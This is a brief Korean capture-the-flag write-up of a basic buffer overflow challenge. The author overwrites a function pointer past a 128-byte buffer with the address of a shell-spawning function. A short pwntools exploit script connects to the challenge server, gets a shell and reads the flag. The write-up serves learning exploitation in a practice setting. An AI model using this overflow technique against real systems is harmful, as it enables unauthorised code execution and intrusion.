일단 문제 파일을 받고 ida로 열어보았다.
이런 식의 코드가 나오는데, s의 길이가 128바이트인데 입력받는 길이가 133바이트인 것으로 보아 함수 포인터 v5를 오버플로우 시켜야하는 것 같았다.
즉, sup이라는 함수를 가리키고 있는 v5가 쉘을 실행시키는 함수를 가리키게 해야하는 것이다.
그 후, 파일에 있는 함수 목록을 쭉 보니
쉘을 실행시키는 shell이라는 함수가 있었다.
함수의 주소는 구할 수 있으므로 바로 구했더니
0x804849B라는 주소가 나왔다.
따라서 익스플로잇 코드는 다음과 같다.
from pwn import *
p = remote("pwn.scalart.me", 8002)
p.send(b'A'*128+p32(0x804849B))
p.interactive()
이렇게 짜고 실행시키면
이런 식으로 쉘이 실행되어 권한이 변경된 걸 볼 수 있다.
그 후, 1번 문제처럼 /home/bof_basic2로 이동해 flag를 읽으면 플래그를 얻을 수 있다.